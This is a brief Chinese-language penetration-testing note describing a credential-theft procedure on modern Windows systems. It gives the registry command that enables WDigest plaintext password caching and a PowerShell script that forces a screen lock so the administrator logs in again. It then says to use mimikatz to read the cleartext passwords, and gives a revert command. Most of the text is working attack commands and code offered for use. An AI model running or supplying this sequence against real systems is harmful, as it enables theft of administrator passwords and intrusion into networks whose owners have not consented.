在默认情况下,当系统为Windows 10或Windows 2012 R2以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
抓取明文流程
修改命令修改注册表 -> 强制锁屏 -> 等待目标系统管理员重新登录 -> 截取明文密码
修改命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
通过修改注册表来让Wdigest Auth保存明文口令
恢复原样(渗透完之后):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过):
Function Lock-WorkStation { $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null } Lock-WorkStation
执行: powershell -file lock-screen.ps1 锁屏,让管理员进行登录
再用mimikatz读取hash这个时候就是明文了。